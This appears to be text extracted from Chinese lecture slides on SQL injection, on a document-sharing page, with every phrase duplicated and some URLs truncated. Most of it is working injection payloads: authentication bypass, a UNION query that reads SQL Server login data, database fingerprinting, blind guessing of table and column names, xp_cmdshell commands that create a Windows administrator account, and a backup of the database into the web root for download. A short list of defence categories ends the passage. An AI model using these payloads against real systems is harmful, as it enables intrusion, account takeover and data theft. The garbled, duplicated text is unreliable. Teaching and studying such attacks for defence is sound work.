36、 score WHERE id=user_id;/ id表示身份證號(hào)表示身份證號(hào) 如果攻擊者輸入以下內(nèi)容如果攻擊者輸入以下內(nèi)容:“1000 or 1=1”則真正執(zhí)行的語句將如下所示:則真正執(zhí)行的語句將如下所示: SELECT * FROM score WHERE id=1000or1=1;/得到表中所有考生的成績記錄得到表中所有考生的成績記錄.36例例2:假如事先知道該系統(tǒng)的管理員用戶名是:假如事先知道該系統(tǒng)的管理員用戶名是 “admin”,可以在輸入用戶名的文本框中輸入以可以在輸入用戶名的文本框中輸入以下內(nèi)容下內(nèi)容: “admin-”,輸入密碼文本框中輸入,輸入密碼文本框中輸入任意內(nèi)容,假設(shè)

37、輸入任意內(nèi)容,假設(shè)輸入“ cat22”。 此時(shí)執(zhí)行的語句為此時(shí)執(zhí)行的語句為: select * from users where username= admin- and password=cat22; /這樣攻擊者就順利地通過了認(rèn)證這樣攻擊者就順利地通過了認(rèn)證, 還可以用管還可以用管理員的名義訪問該系統(tǒng)。理員的名義訪問該系統(tǒng)。37二、二、UNIONUNION式式SQLSQL注入攻擊注入攻擊SELECT 語句的語法:語句的語法: SELECT UNION ALL|DISTINCT SELECT ;v UNION將多個(gè)將多個(gè)SELECT語句的結(jié)果合并為一個(gè)集合。語句的結(jié)果合并為一個(gè)集合。如果沒有

38、使用關(guān)健字如果沒有使用關(guān)健字ALL,所有返回的結(jié)果是不同的,所有返回的結(jié)果是不同的,等價(jià)于使用關(guān)鍵字等價(jià)于使用關(guān)鍵字DISTINCT,如果聲明了關(guān)鍵字如果聲明了關(guān)鍵字ALL,返回結(jié)果中包含所有匹配記錄。大部分返回結(jié)果中包含所有匹配記錄。大部分SQL注入攻擊注入攻擊使用使用UNION LL,用以捎回額外的信息。用以捎回額外的信息。38 例:查詢員工信息。例:查詢員工信息。SELECT CustomerID, CompanyName, ContactName FROM Customers WHERE CompanyName =Ernst Handel;攻擊者將攻擊者將“Ernst Handel”,

39、替換如下的內(nèi)容:,替換如下的內(nèi)容:v“Ernst Handel UNION SELECT ALL loginame,hostname,login_time from master.sysprocesses where 1=1-”39表表sysprocesses字段定義字段定義4041 其結(jié)果是這個(gè)其結(jié)果是這個(gè)SQL語句在服務(wù)器端執(zhí)行,將這語句在服務(wù)器端執(zhí)行,將這個(gè)動(dòng)態(tài)的個(gè)動(dòng)態(tài)的SQL查詢轉(zhuǎn)換為如下語句:查詢轉(zhuǎn)換為如下語句:SELECT CustomerID, CompanyName, ContactName FROM Customers WHERE CompanyName =Ernst Han

40、del UNION SELECT ALL loginame,hostname,login_time from master.sysprocesses where 1=1-v這是合法的這是合法的SQL語句,返回?cái)?shù)據(jù)庫當(dāng)前登錄語句,返回?cái)?shù)據(jù)庫當(dāng)前登錄信息,包括登錄名稱、登錄主機(jī),登錄時(shí)間。信息,包括登錄名稱、登錄主機(jī),登錄時(shí)間。42三、判斷數(shù)據(jù)庫類型三、判斷數(shù)據(jù)庫類型 例如:網(wǎng)站例如:網(wǎng)站,在網(wǎng)站首頁上,有名為,在網(wǎng)站首頁上,有名為“IE不能打開新窗口的多種解決方法不能打開新窗口的多種解決方法”的鏈接,地址為:的鏈接,地址為:http:/ http:/ showdetail.asp?id=49sh

41、owdetail.asp?id=49, ,服務(wù)器返回下面的錯(cuò)誤提示:服務(wù)器返回下面的錯(cuò)誤提示:Microsoft JET Database Engine Microsoft JET Database Engine 錯(cuò)誤錯(cuò)誤 80040e14 80040e14 字符串的語法錯(cuò)誤字符串的語法錯(cuò)誤 在查詢表達(dá)式在查詢表達(dá)式 ID=49 ID=49 中。中。 /showdetail.asp /showdetail.asp,行,行8 8從這個(gè)錯(cuò)誤提示我們能看出下面幾點(diǎn):從這個(gè)錯(cuò)誤提示我們能看出下面幾點(diǎn): 1 1)網(wǎng)站使用的是)網(wǎng)站使用的是AccessAccess數(shù)據(jù)庫,通過數(shù)據(jù)庫,通過JETJET引擎連

42、接數(shù)引擎連接數(shù)據(jù)庫,而不是通過據(jù)庫,而不是通過ODBCODBC。 2 2)程序沒有判斷客戶端提交的數(shù)據(jù)是否符合程序要求。)程序沒有判斷客戶端提交的數(shù)據(jù)是否符合程序要求。 3 3)該)該SQLSQL語句所查詢的表中有一名為語句所查詢的表中有一名為IDID的字段。的字段。43獲取數(shù)據(jù)庫的用戶名獲取數(shù)據(jù)庫的用戶名 http:/ and user0; user是是SQL Server的內(nèi)置變量,它的值是當(dāng)?shù)膬?nèi)置變量,它的值是當(dāng)前連接的用戶名,類型為前連接的用戶名,類型為nvarchar。拿一個(gè)拿一個(gè)nvarchar的值跟的值跟int的數(shù)的數(shù)0比較,系統(tǒng)會(huì)先試圖將比較,系統(tǒng)會(huì)先試圖將nvarchar的值

43、轉(zhuǎn)成的值轉(zhuǎn)成int型,當(dāng)然,轉(zhuǎn)的過程中肯定型,當(dāng)然,轉(zhuǎn)的過程中肯定會(huì)出錯(cuò),如會(huì)出錯(cuò),如SQLServer的出錯(cuò)提示是:的出錯(cuò)提示是:將將nvarchar值值 ”abc” 轉(zhuǎn)換數(shù)據(jù)類型為轉(zhuǎn)換數(shù)據(jù)類型為 int 時(shí)發(fā)生語時(shí)發(fā)生語法錯(cuò)誤法錯(cuò)誤,則,則abc正是變量正是變量user的值,即數(shù)據(jù)庫的的值,即數(shù)據(jù)庫的用戶名。用戶名。 如果是如果是sa登錄,提示是將登錄,提示是將”dbo”轉(zhuǎn)換成轉(zhuǎn)換成int時(shí)時(shí)發(fā)生錯(cuò)誤。發(fā)生錯(cuò)誤。44 http:/ and (select count(*) from sysobjects)0 http:/ and (select count(*) from msysobje

44、cts)0如果數(shù)據(jù)庫是如果數(shù)據(jù)庫是SQLServer,那么第一個(gè)網(wǎng)址的頁面與原頁面,那么第一個(gè)網(wǎng)址的頁面與原頁面http:/ ID=49 And (Select Count(ID=49 And (Select Count(* *) from ) from AdminAdmin)=0)=0 如果頁面與原頁面相同,說明附加條件成立,即表如果頁面與原頁面相同,說明附加條件成立,即表AdminAdmin存在,存在,反之,即不存在。如此循環(huán),直至猜到表名為止。反之,即不存在。如此循環(huán),直至猜到表名為止。猜字段名:猜字段名: ID=49 And (Select Count(ID=49 And (Selec

45、t Count(字段名字段名) from Admin)=0) from Admin)=0猜用戶名長度:猜用戶名長度: ID=49ID=49 and (select top 1 and (select top 1 len(username)len(username) from Admin)0 from Admin)0 如果如果top 1top 1的的usernameusername長度大于長度大于0 0,則條件成立;接著就是,則條件成立;接著就是11、22、33這樣測試下去,一直到條件不成立為止,比如這樣測試下去,一直到條件不成立為止,比如77成立,成立,88不成不成立,就是立,就是len(us

46、ername)=8len(username)=8。46五、利用系統(tǒng)表注入五、利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫數(shù)據(jù)庫 創(chuàng)建系統(tǒng)用戶:創(chuàng)建系統(tǒng)用戶: id=1;exec master.xp_cmdshell “net user name password /add” 存儲(chǔ)過程存儲(chǔ)過程xp_cmdshell用于調(diào)用系統(tǒng)命令,用用于調(diào)用系統(tǒng)命令,用net命命令新建了用戶名為令新建了用戶名為name、密碼為、密碼為password的的windows的帳號(hào)。該方法只適用于用的帳號(hào)。該方法只適用于用sa連接數(shù)據(jù)庫的情況,否連接數(shù)據(jù)庫的情況,否則,是沒有權(quán)限調(diào)用則,是沒有權(quán)限調(diào)用xp_cmdshell的

47、。的。 把該用戶加入把該用戶加入administrators組:組: Id=1;exec master.xp_cmdshell “net localgroup name administrators /add” 將新建的帳號(hào)將新建的帳號(hào)name加入管理員組。加入管理員組。 47獲取數(shù)據(jù)庫名獲取數(shù)據(jù)庫名 http:/Site/url.ASP?id=1 and db_name()0 db_name()是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫名。據(jù)庫名。備份數(shù)據(jù)庫備份數(shù)據(jù)庫 id=1;backup database 數(shù)據(jù)庫名數(shù)據(jù)庫名 to disk=c:inetpub

48、wwwroot1.db;- 根據(jù)獲得的數(shù)據(jù)庫名,加上某些根據(jù)獲得的數(shù)據(jù)庫名,加上某些IIS出錯(cuò)暴露出的出錯(cuò)暴露出的絕對路徑,將數(shù)據(jù)庫備份到絕對路徑,將數(shù)據(jù)庫備份到Web目錄下,再用目錄下,再用HTTP可可把整個(gè)數(shù)據(jù)庫完整的下載。把整個(gè)數(shù)據(jù)庫完整的下載。 4810.4.2 SQL10.4.2 SQL注入攻擊的實(shí)現(xiàn)過程注入攻擊的實(shí)現(xiàn)過程 1.1.尋找尋找SQLSQL注入點(diǎn)。注入點(diǎn)。 2. 2.獲取和驗(yàn)證獲取和驗(yàn)證SQLSQL注入點(diǎn)。注入點(diǎn)。 3. 3.獲取信息。獲取信息。 4. 4.實(shí)施直接控制。實(shí)施直接控制。4910.4.3 SOL10.4.3 SOL注入攻擊防范技術(shù)注入攻擊防范技術(shù)SQLSQL注入攻擊的常規(guī)防范技術(shù)可以分為四類注入攻擊的常規(guī)防范技術(shù)可以分為四類: :v修補(bǔ)應(yīng)用程序漏洞。修補(bǔ)應(yīng)用程序漏洞。vSQLSQL注入攻擊在線監(jiān)控。注入攻擊在線監(jiān)控。v發(fā)現(xiàn)并修補(bǔ)數(shù)據(jù)庫服務(wù)器發(fā)現(xiàn)并修補(bǔ)數(shù)據(jù)庫服務(wù)器SQLSQL注入漏洞。注入漏洞。v過濾過濾SQLSQL命令進(jìn)行輸入驗(yàn)證。命令進(jìn)行輸入驗(yàn)證。50 SQL SQL注入攻擊的常規(guī)防范具體措施注入攻擊的常規(guī)防范具體措施1、過

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論